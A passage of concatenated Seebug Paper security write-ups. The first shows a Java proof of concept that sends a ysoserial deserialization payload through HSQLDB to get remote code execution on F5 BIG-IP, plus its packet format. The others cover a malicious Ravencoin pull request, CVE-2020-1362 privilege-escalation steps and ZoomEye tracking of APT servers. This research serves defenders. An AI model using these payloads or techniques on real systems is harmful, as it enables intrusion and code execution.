java/io/PrintStream#34 = Utf8 println#35 = Utf8 (Ljava/lang/String;)V{public Test();descriptor: ()Vflags: ACC_PUBLICCode:stack=1, locals=1, args_size=10: aload_01: invokespecial #1 // Method java/lang/Object."<init>":()V4: returnLineNumberTable:line 1: 0LocalVariableTable:Start Length Slot Name Signature0 5 0 this LTest;public static void main(java.lang.String[]);descriptor: ([Ljava/lang/String;)Vflags: ACC_PUBLIC, ACC_STATICCode:stack=2, locals=1, args_size=10: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #3 // String aaa5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 3: 0line 4: 8LocalVariableTable:Start Length Slot Name Signature0 9 0 args [Ljava/lang/String;public void test();descriptor: ()Vflags: ACC_PUBLICCode:stack=2, locals=1, args_size=10: getstatic #2 // Field java/lang/System.out:Ljava/io/PrintStream;3: ldc #5 // String test5: invokevirtual #4 // Method java/io/PrintStream.println:(Ljava/lang/String;)V8: returnLineNumberTable:line 7: 0line 8: 8LocalVariableTable:Start Length Slot Name Signature0 9 0 this LTest;}SourceFile: "Test.java"可以看到自己编译的类中,每个method中都有一个 LineNumberTable,这个信息就是用于调试的信息,但是hsqldb中没有这个信息,所以是无法调试下断点的,hsqldb应该在编译时添加了某些参数或者使用了其他手段来去除这些信息。
没办法调试是一件很难受的事情,我现在想到的有两种:
- 反编译hsqldb的代码,自己再重新编译,这样就有linenumber信息了,但是反编译再重新编译可能会遇到一些错误问题,这部分得自己手动把代码修改正确,这样确实是可行的,在后面f5的hsqldb分析中可以看到这种方式
- 代码开源,直接用源码跑
hsqldb的代码正好是开源的,那么这里就直接用源码来开启一个servlet吧。
环境:
- hsqldb source代码是1.8的,现在新版已经2.5.x了,为了和f5中的hsqldb吻合,还是用1.8的代码吧
- JDK7u21,F5 BIG-IP 14版本使用的JDK7,所以这里尽量和它吻合避免各种问题
虽然开源了,但是拖到idea依然还有些问题,我修改了一些代码,让他正常跑起来了,修改好的代码放到github上了,最后项目结构如下:
使用http方式利用hsqldb漏洞(ysoserial cc6,很多其他链也行):
1234567891011121314public static void testLocal() throws IOException, ClassNotFoundException, SQLException {String url = "http://localhost:8080";String payload = Hex.encodeHexString(Files.readAllBytes(Paths.get("calc.ser")));System.out.println(payload);String dburl = "jdbc:hsqldb:" + url + "/hsqldb_war_exploded/hsqldb/";Class.forName("org.hsqldb.jdbcDriver");Connection connection = DriverManager.getConnection(dburl, "sa", "");Statement statement = connection.createStatement();statement.execute("call \"java.lang.System.setProperty\"('org.apache.commons.collections.enableUnsafeSerialization','true')");statement.execute("call \"org.hsqldb.util.ScriptTool.main\"('" + payload + "');");}利用requests发包模拟hsqldb RCE
java hsqldb https问题无法解决,那就用requests来发https包就可以了,先模拟http的包。
抓取上面利用java代码发送的payload包,一共发送了三个,第一个是连接包,连接hsqldb数据库的,第二、三包是执行语句的包:
根据代码看下第一个数据包返回的具体信息,主要读取与写入的信息都是由Result这个类处理的,一共20个字节:
- 1~4:总长度00000014,共20字节
- 5~8:mode,connection为ResultConstants.UPDATECOUNT,为1,00000001
- 9~12:databaseID,如果直接像上面这样默认配置,databaseID在服务端不会赋值,由jdk初始化为0,00000000
- 13~16:sessionID,这个值是DatabaseManager.newSession分配的值,每次连接都是一个新的值,本次为00000003
- 17~20:connection时,为updateCount,注释上面写的 max rows (out) or update count (in),如果像上面这样默认配置,updateCount在服务端不会赋值,由jdk初始化为0,00000000
连接信息分析完了,接下来的包肯定会利用到第一次返回包的信息,把他附加到后面发送包中,这里只分析下第二个发送包,第三个包和第二个是一样的,都是执行语句的包:
- 1~4:总长度00000082,这里为130
- 5~8:mode,这里为ResultConstants.SQLEXECDIRECT,0001000b
- 9~12:databaseID,为上面的00000000
- 13~16:sessionID,为上面的00000003
- 17~20:updateCount,为上面的00000000
- 21~25:statementID,这是客户端发送的,其实无关紧要,本次为00000000
- 26~30:执行语句的长度
- 31~:后面都是执行语句了
可以看到上面这个处理过程很简单,通过这个分析,很容易用requests发包了。对于https来说,只要设置verify=False就行了。
反序列化触发位置
这里反序列化触发位置在:
其实并不是org.hsqldb.util.ScriptTool.main这个地方导致的,而是hsqldb解析器语法解析中途导致的反序列化。将ScriptTool随便换一个都可以,例如
org.hsqldb.sample.FindFile.main
。F5 BIG-IP hsqldb调试
如果还想调试下F5 BIG-IP hsqldb,也是可以的,F5 BIG-IP里面的hsqldb自己加了些代码,反编译他的代码,然后修改反编译出来的代码错误,再重新打包放进去,就可以调试了。
F5 BIG-IP hsqldb回显
- 既然能反序列化了,那就可以结合Template相关的利用链写到response
- 利用命令执行找socket的fd文件,写到socket
- 这次本来就有一个fileRead.jsp,命令执行完写到这里就可以了
hsqldb的连接安全隐患
从数据包可以看到,hsqldb第一次返回信息并不多,在后面附加用到的信息也就databaseID,sessionID,updateCount,且都只为4字节(32位),但是总有数字很小的连接排在前面,所以可以通过爆破出可用的databaseID、sessionID、updateCount。不过对于本次的F5 BIG-IP,直接用上面默认的就行了,无需爆破。
总结
虽然写得不多,写完了看起来还挺容易,不过过程其实还是很艰辛的,一开始并不是根据代码看包的,只是发了几个包对比然后就写了个脚本,结果跑不了F5 BIG-IP hsqldb,后面还是调试了F5 hsqldb代码,很多问题需要解决。同时还看到了hsqldb其实是存在一定安全隐患的,如果我们直接爆破databaseID,sessionID,updateCount,也很容易爆破出可用的databaseID,sessionID,updateCount。
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1271/
-
开源=安全?RVN 盗币事件复盘
作者:ACce1er4t0r@知道创宇404区块链安全研究团队
时间:2020年7月22日在7月15号,v2ex上突然出现了一个这样标题的帖子:三行代码就赚走 4000w RMB,还能这么玩?
帖子内容里,攻击者仅仅只用了短短的几行代码,就成功的获利千万RMB,那么他是怎么做到的呢?
让我们来回顾一下这次事件。
事件回顾
2020年1月16日,开源项目
Ravencoin
接到这么一则pull request
代码中,提交者将原本定义模糊的报错细分,让人们能够更直观的了解究竟出了什么错误,看起来是在优化项目,但是,事实真是这样么?
2020年6月29日,Solus Explorer开发团队一位程序员在修bug后同步数据时发现了一个
suspected transactions with unbalanced VOUTs
被Explorer标记出,之后他检查RVN时发现RVN大约被增发了约275,000,000,并发现了大量可疑地reissue asset Transaction
,这些交易不仅仅有Asset Amount
,而且获得了RVN。在他发现这一事件后,马上和他的团队一起将事件报告给Ravencoin
团队。2020年7月3日,
Ravencoin
团队向社区发布紧急更新2020年7月4日,13:26:27 (UTC),
Ravencoin
团队对区块强制更新了新协议,并确认总增发量为 301,804,400 RVN,即为3.01亿RVN.2020年7月5月,
Ravencoin
团队宣布紧急事件结束2020年7月8日,
Ravencoin
团队公布事件事件原理
在解释原理前,我们不妨先重新看看
WindowsCryptoDev
提交的代码这是一段
Ravencoin
中用于验证的逻辑代码。简单来说,提交者改变了
CheckTransaction
对Asset验证的判断,将原本isAsset && txout.nValue != 0
的条件更改为下面的条件:isAsset && nType == TX_TRANSFER_ASSET && txout.nValue != 0
isAsset && nType == TX_NEW_ASSET && txout.nValue != 0
这段代码本身利用了开源社区PR的风格(在开源社区中,如果开发者发现提交的PR无关实际逻辑,则不会过度关注代码影响),看似只是细化了交易过程中返回的报错,使得正常使用功能的交易者更容易定位到错误,实则,通过忽略
else
语句,导致一个通用的限制条件被细化到了nType的两种常见情况下。而代码中
nTypt
可能的值有如下:123456789101112131415161718enum txnouttype{TX_NONSTANDARD = 0,// 'standard' transaction types:TX_PUBKEY = 1,TX_PUBKEYHASH = 2,TX_SCRIPTHASH = 3,TX_MULTISIG = 4,TX_NULL_DATA = 5, //!< unspendable OP_RETURN script that carries dataTX_WITNESS_V0_SCRIPTHASH = 6,TX_WITNESS_V0_KEYHASH = 7,/** RVN START */TX_NEW_ASSET = 8,TX_REISSUE_ASSET = 9,TX_TRANSFER_ASSET = 10,TX_RESTRICTED_ASSET_DATA = 11, //!< unspendable OP_RAVEN_ASSET script that carries data/** RVN END */};由于代码的改变,当
nType == TX_REISSUE_ASSET
时,txout.nValue
可以不为0。通过对比正常的交易和存在问题的交易,我们也能验证这一观点。
在正常的Reissue操作中,我们需要向 Address RXReissueAssetXXXXXXXXXXXXXXVEFAWu支付
100RVN
,之后我们可以得到一个新的Amount为0的Address,如果新的Address的Amount不为0,那么将会返回bad-txns-asset-tx-amount-isn't-zero
的错误信息(代码被更改前,修复后会返回bad-txns-asset-reissued-amount-isn't-zero
的错误信息)而攻击者修改了判断条件,导致了在
CheckTransaction
时并不会检测TX_REISSUE_ASSET
,所以能够在Address的Amount不为0的情况下通过判断,最终实现增发RVN。看完代码后,我们点开这位叫做
WindowsCryptoDev
的用户的GitHub主页这是个在2020年1月15日新建的账号,为了伪造身份,起了个
WindowsCryptoDev
的id,并且同天建了个叫Windows
的repo,最后的活动便是在1月16号向Ravencoin
提交PR。而对于这个PR,项目团队的反馈也能印证我们的猜测。
整个攻击流程如下:
- 2020年1月15日,攻击者伪造身份
- 1月16日,攻击者提交pull request
- 1月16日,当天pull request被合并
- 5月9日,攻击者开始通过持续制造非法Reissue Asset操作增发RVN,并通过多个平台转卖换为其他虚拟货币
- 6月29日,
Solus Explorer
开发团队一位程序员发现问题并上报 - 7月3日,
Ravencoin
团队向社区发布紧急更新,攻击者停止增发RVN - 7月4日,13:26:27 (UTC),
Ravencoin
团队对区块强制更新了新协议 - 7月5月,
Ravencoin
团队宣布紧急事件结束 - 7月8日,
Ravencoin
团队公布事件
至此,事件结束,最终,攻击者增发了近3亿的RVN。
总结
随着互联网时代的发展,开源文化逐渐从小众文化慢慢走向人们的视野中,人们渐渐开始认为开源社区给项目带来源源不断的活力,开源使得人人都可以提交请求、人人都可以提出想法,可以一定层度上提高代码的质量、增加社区的活跃度,形成一种正反馈,这使开源社区活力无限。
但也因此,无数不怀好意的目光也随之投向了开源社区,或是因为攻击者蓄谋已久,抑或是因为贡献者无心之举,一些存在问题的代码被加入到开源项目中,他们有的直接被曝光被发现被修复,也有的甚至还隐藏在核心代码中深远着影响着各种依赖开源项目生存着的软件、硬件安全。
开源有利亦有弊,攻击者也在渗透着越来越多开发过程中的不同维度,在经历了这次事件之后,你还能随意的接受开源项目中的PR吗?
REF
[1] 三行代码就赚走 4000w RMB,还能这么玩?
[2] commit
https://github.com/RavenProject/Ravencoin/commit/d23f862a6afc17092ae31b67d96bc2738fe917d2
[3] Solus Explorer - Address: Illegal Supply
https://rvn.cryptoscope.io/address/?address=Illegal%20Supply
[4] Ravencoin — Emergency Update
[5] Ravencoin — Emergency Ended
[6] The anatomy of Ravencoin exploit finding
[7] RavencoinVulnerability — WTF Happened?
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1275/
-
CVE-2020-1362 漏洞分析
作者:bybye@知道创宇404实验室
时间:2020年7月24日漏洞背景
WalletService 服务是 windows 上用来持有钱包客户端所使用的对象的一个服务,只存在 windows 10 中。
CVE-2020-1362 是 WalletService 在处理 CustomProperty 对象的过程中出现了越界读写,此漏洞可以导致攻击者获得管理员权限,漏洞评级为高危。
微软在 2020 年 7 月更新对漏洞发布补丁。
环境搭建
- 复现环境:windows 10 专业版 1909 (内部版本号 18363.815)
- 设置 WalletService 服务启动类型为自动
- 调试环境:windbg -psn WalletService 即可。
漏洞原理与分析
漏洞点是设置 CustomProperty 对象的 Group 的 get 方法和 set 方法没有检查边界。
- get 方法的 a2 参数没有检查边界导致可以泄露堆上的一些地址。
- set 方法的 a2 参数没有检查边界,可以覆盖到对象的虚表指针,从而控制程序流。
漏洞利用过程
创建 CustomProperty 对象
WalletService 服务由 WalletService.dll 提供,WalletService.dll 实际上是一个动态链接库形式的 Com 组件,由 svchost.exe 加载。我们可以在自己写的程序(下面称为客户端)中使用 CoCreateInstance() 或者 CoGetClassObject() 等函数来创建对象,通过调用获得的对象的类方法来使用服务提供的功能。
如何创建出漏洞函数对应的对象呢?最简单的办法是下载 msdn 的符号表,然后看函数名。
我们想要创建出 CustomProperty 对象,ida 搜索一下,发现有两个创建该对象的函数:Wallet::WalletItem::CreateCustomProperty() 和 Wallet::WalletXItem::CreateCustomProperty()。
所以我们创建一个 CustomProperty 需要一个 WalletXItem 对象或者 WalletItem 对象,那么使用哪个呢?继续用 ida 搜索 CreateWalletItem 或者 CreateWalletXItem,会发现只有 CreateWalletItem。
那到这里我们需要一个 WalletX 对象,继续用 ida 搜索会发现找不到 CreateWalletX,但是如果搜索 WalletX,会发现有个 WalletXFactory::CreateInstance(),如果有过 Com 组件开发经验的同学就会知道,这个是个工厂类创建接口类的函数,上面提到的 CoCreateInstance() 函数会使 WalletService 调用这个函数来创建出接口类返回给客户端。
那么如何调用 WalletXFactory::CreateInstance() 并创建出 WalletX 对象呢?我们需要在客户端使用 CoCreateInstance() 。
1234567HRESULT CoCreateInstance(REFCLSID rclsid, // CLSID,用于找到工厂类LPUNKNOWN pUnkOuter, // 设置为 NULL 即可DWORD dwClsContext, // 设置为 CLSCTX_LOCAL_SERVER,一个宏REFIID riid, // IID, 提供给工程类,用于创建接口类实例LPVOID *ppv // 接口类实例指针的地址);- 首先,我们需要 WalletXFactory 的 CLSID,可以使用 OLEViewDotNet 这个工具查看。
- 其次,我们需要一个 WalletX 的 IID,这个可以用 ida 直接看 WalletXFactory::CreateInstance() 这个函数。
有了 WalletXFactory 的 CLSID 和 WalletX 的 IID,然后在客户端调用 CoCreateInstance(),WalletService 就会调用 CLSID 对应的工厂类 WalletXFactory 的 CreateInstance(), 创建出 IID 对应的 WalletX 对象,并返回对象给客户端。
然后按照上面的分析,使用 WalletX::CreateWalletItem() 创建出 WalletItem 对象,然后使用 WalletItem::CreateCustomProperty() 创建出 CustomProperty 对象。
对于上面的步骤有疑问的同学可以去学一学 Com 组件开发,尤其是进程外组件开发。
伪造虚表,覆盖附表指针
由于同一个动态库,在不同的进程,它的加载基址也是一样的,我们可以知道所有dll里面的函数的地址,所以可以获得伪造的虚表里面的函数地址。
那么把虚表放哪里呢?直接想到的是放堆上。
但如果我们继续分析,会发现,CustomProperty 类里面有一个 string 对象,并且可以使用 CustomProperty::SetLabel() 对 string 类进行修改,所以,我们可以通过修改 string 类里面的 beg 指针 和 end 指针,然后调用 CustomProperty::SetLabel() 做到任意地址写。
有了任意地址写,我们选择把虚表放在 WalletService.dll 的 .data 节区,以避免放在堆上可能破坏堆上的数据导致程序崩溃。
控制程序流到 LoadLibrary 函数
使用伪造 vtable 并覆盖虚表指针的办法,我们可以通过调用虚函数控制 WalletService 的程序流到任意地址了。
那么怎么提权呢?在 windows 服务提权中,通常的办法是把程序流控制到可以执行 LoadLibrary() 等函数来加载一个由我们自己编写的动态链接库,因为在加载 dll 的时候会执行 dll 里面的 DllMain(),这个方法是最强大的也是最实用的。
这里使用漏洞提交者的方法,把虚表的某个地址覆盖成 dxgi.dll 里面的 ATL::CComObject\::`vector deleting destructor(),因为这个函数调用的 LoadLibraryExW() 会使用一个全局变量作为想要加载的 dll 的路径。
我们可以通过上面的 SetLabel() 进行任意地址写,修改上图的全局变量 Src,使其指向我们自己实现的动态链接库的路径,然后调用对应的虚表函数,使程序流执行到 LoadLibrarExW() 即可。
实现一个动态链接库
在 DllMain() 里面写上我们希望以高权限执行代码,然后调用虚表里面对应的函数是 WalletService 的程序流运行到 LoadLibraryEx() 即可。
注意,因为 windows 服务运行在后台,所以需要在 DllMain() 里面使用命名管道或者 socket 等技术来进行回显或者交互,其次由于执行的是 LoadLibraryExW(),所以这里的 dll 路径要使用宽字符。
其它
在控制虚表函数程序流到 LoadLibraryExW() 时,需要绕过下面两个 check。
第一个是需要设置 this+0x80 这个地址的值,使得下面的 and 操作为 true。
第二个是要调整 qword_C5E88 和 qword_C5E80 是下面的变量 v4 指向具有写权限的内存。
漏洞利用结果
可以获得管理员权限
补丁前后对比
可以看到,打了补丁之后,get 方法和 set 方法都对 a2 参数添加了边界检测。
参考链接
[1] PoC链接
[2] 微软更新公告
[3] nvd漏洞评级
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1276/
-
Look for traces of APT attacks through the ZoomEye history api
Author: Heige(a.k.a Superhei) of KnownSec 404 Team
Date: May 25,2020
Chinese version:https://paper.seebug.org/1219/We had released ZoomEye’s historical data API query interface in ZoomEye 2020 that had launched in January this year: https://medium.com/@80vul/zoomeye-2020-has-started-8414d6aaf38. Next, I will introduce some examples of using ZoomEye History API to capture the traces of APT team attacks.
Instructions for using the historical query API interface: https://www.zoomeye.org/doc#history-ip-search ,Of course we have also updated our ZoomEye SDK support history api: https://github.com/knownsec/ZoomEye.
Before the cases are explained, I must explain the ZoomEye online data update mode again: it is the overwrite update mode. Many malware teams, including many apt teams, will abandon the C2 server immediately after it is discovered. So this also causes the data on ZoomEye to be cached without being updated and overwritten.
The first case is about Darkhotel APT group
I have already mentioned it in this tweet, of course, here needs to explain a "bug" in this tweet ,Although this “bug” has nothing to do with the issue discussed today : The vulnerability used in this attack should be CVE-2019-1367 instead of CVE-2020-0674 (Here we need to thank the friends who discussed together)
In this Darkhotel attack, they attacked the ip website service and implanted ie 0day to carry out Watering Hole attack. So we queried all historical data of this IP on ZoomEye:
1234567891011╭─heige@404Team ~╰─$pythonPython 2.7.16 (default, Mar 15 2019, 21:13:51)[GCC 4.2.1 Compatible Apple LLVM 10.0.0 (clang-1000.11.45.5)] on darwinType "help", "copyright", "credits" or "license" for more information.import zoomeyezm = zoomeye.ZoomEye(username="xxxxx", password="xxxx")zm.login()u'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpX...'data = zm.history_ip("202.x.x.x")22List all scan time records and ports about this IP
1234567891011121314151617181920212223242526...>>> for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)(u'2019-08-02T09:52:27', 80)(u'2019-07-27T19:22:11', 80)(u'2019-05-18T10:38:59', 8181)(u'2019-05-02T19:37:20', 8181)(u'2019-05-01T00:48:05', 8009)(u'2019-04-09T16:29:58', 8181)(u'2019-03-24T20:46:31', 8181)(u'2018-05-18T18:22:21', 137)(u'2018-02-22T20:50:01', 8181)(u'2017-03-13T03:11:39', 8181)(u'2017-03-12T16:43:54', 8181)(u'2017-02-25T09:56:28', 137)(u'2016-11-01T00:22:30', 137)(u'2015-12-30T22:53:17', 8181)(u'2015-03-13T20:17:45', 8080)(u'2015-03-13T19:33:15', 21)Query the time and port of the IE 0day implanted into the Watering Hole attack :
12345678910>>> for i in data['data']:... if "164.js" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2020-01-28T10:58:02', 80)(u'2020-01-05T18:33:17', 80)(u'2019-11-25T05:27:58', 80)(u'2019-11-02T16:10:40', 80)(u'2019-10-31T11:39:02', 80)(u'2019-10-06T05:24:44', 80)It turned out that this Watering Hole attack continued from at least '2019-10-06 05:24:44' to '2020-01-28 10:58:02' , This also shows that Darkhotel APT group attacked this IP website as early as 2019-10-06.
We continue to analyze the port service of this IP in 2019 :
123456789101112131415>>> for i in data['data']:... if "2019" in i['timestamp']:... print(i['timestamp'],i['portinfo']['port'],i['portinfo']['service'],i['portinfo']['product'])...(u'2019-11-25T05:27:58', 80, u'http', u'nginx')(u'2019-11-02T16:10:40', 80, u'http', u'nginx')(u'2019-10-31T11:39:02', 80, u'http', u'nginx')(u'2019-10-06T05:24:44', 80, u'http', u'nginx')(u'2019-08-02T09:52:27', 80, u'http', u'nginx')(u'2019-07-27T19:22:11', 80, u'http', u'nginx')(u'2019-05-18T10:38:59', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-02T19:37:20', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')(u'2019-05-01T00:48:05', 8009, u'ajp13', u'Apache Jserv')(u'2019-04-09T16:29:58', 8181, u'http', u'Apache httpd')(u'2019-03-24T20:46:31', 8181, u'http', u'Apache Tomcat/Coyote JSP engine')Very typical Tomcat-based JSP operating environment, and once opened 8009 ajp port. Many attack events prove that tomcat manages weak passwords, security vulnerabilities and other issues, making security very vulnerable,Perhaps this is also the method used in this attack.
The second case is about APT-C-01(a.k.a Green Spot)
Qi An Xin Threat Intelligence Center released a detailed analysis report on APT-C-01 in 2018: https://www.virusbulletin.com/virusbulletin/2019/11/vb2019-paper-vine-climbing-over-great-firewall-longterm-attack-against-china/ (En)https://ti.qianxin.com/uploads/2018/09/20/6f8ad451646c9eda1f75c5d31f39f668.pdf(Ch)
"The loader program will first try to connect to a common URL to check network connectivity. If there is no connection, it will try to connect every five seconds until the network is connected. Then it downloads the payload from
hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp
"We put our focus on the payload download URL
hxxp://updateinfo.servegame.org/tiny1detvghrt.tmp>
,Through the ping command, we can no longer find the IP address of this domain name resolution :123─heige@404Team ~╰─$ping updateinfo.servegame.orgping: cannot resolve updateinfo.servegame.org: Unknown hostFrom the Chinese version of the report, we see a screenshot that shows that can opendir
This means we can find the target by searching "tiny1detvghrt.tmp" on ZoomEye ,Very lucky we found it :
Once again, after the APT attack was discovered, these IPs were directly abandoned.
We get the IP(165.227.220.223) of the domain(
updateinfo.servegame.org
) name and continue to query the historical records through the ZoomEye history api interface1234567891011121314>>> data = zm.history_ip("165.227.220.223")>>> 9>>> for i in data['data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2019-06-18T19:02:22', 22)(u'2018-09-02T08:13:58', 22)(u'2018-07-31T05:58:44', 22)(u'2018-05-20T00:55:48', 80)(u'2018-05-16T20:42:35', 22)(u'2018-04-08T07:53:00', 80)(u'2018-02-22T19:04:29', 22)(u'2017-11-21T19:09:14', 80)(u'2017-10-04T05:17:38', 80)Let's look at the time interval for tiny1detvghrt.tmp deployment : from at least '2017-11-21 19:09:14' to '2018-05-20 00:55:48'
1234567>>> for i in data['data']:... if "tiny1detvghrt.tmp" in i['raw_data']:... print(i['timestamp'],i['portinfo']['port'])...(u'2018-05-20T00:55:48', 80)(u'2018-04-08T07:53:00', 80)(u'2017-11-21T19:09:14', 80)Let's look at the time node before
tiny1detvghrt.tmp
deployment: 2017-10-04 05:17:3812345678910111213141516171819202122232425262728293031>>> for i in data['data']:... if "2017-10-04" in i['timestamp']:... print(i['raw_data'])...HTTP/1.1 200 OKDate: Tue, 03 Oct 2017 21:17:37 GMTServer: ApacheVary: Accept-EncodingContent-Length: 1757Connection: closeContent-Type: text/html;charset=UTF-8<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN"><html><head><title>Index of /</title></head><body><h1>Index of /</h1><table><tr><th valign="top">< img src="/icons/blank.gif" alt="[ICO]"></th><th>< a href=" ">Name</ a></th><th>< a href="?C=M;O=A">Last modified</ a></th><th>< a href="?C=S;O=A">Size</ a></th><th>< a href="?C=D;O=A">Description</ a></th></tr><tr><th colspan="5"><hr></th></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp">doajksdlfsadk.tmp</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td>&nbsp;</td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlfsadk.tmp.1">doajksdlfsadk.tmp.1</ a></td><td align="right">2017-09-15 08:21 </td><td align="right">4.9K</td><td>&nbsp;</td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="doajksdlrfadk.tmp">doajksdlrfadk.tmp</ a></td><td align="right">2017-09-27 06:36 </td><td align="right">4.9K</td><td>&nbsp;</td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="dvhrksdlfsadk.tmp">dvhrksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:38 </td><td align="right">4.9K</td><td>&nbsp;</td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="vfajksdlfsadk.tmp">vfajksdlfsadk.tmp</ a></td><td align="right">2017-09-27 06:37 </td><td align="right">4.9K</td><td>&nbsp;</td></tr><tr><td valign="top">< img src="/icons/unknown.gif" alt="[ ]"></td><td>< a href="wget-log">wget-log</ a></td><td align="right">2017-09-20 07:24 </td><td align="right">572 </td><td>&nbsp;</td></tr><tr><th colspan="5"><hr></th></tr></table></body></html>From the file naming method and file size, it can be inferred that this time node, the attacker should be a drill before the attack.
Final summary
The cyberspace search engine is very useful in the tracking of cyberattack threats by using active detection methods. It rechecks the attacker's attack methods, purposes, and processes through the timeline of historical records. Finally, I would like to thank all the friends who support ZoomEye. As the world's leading search engine for cyberspace mapping, ZoomEye has been working hard!
本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/1220/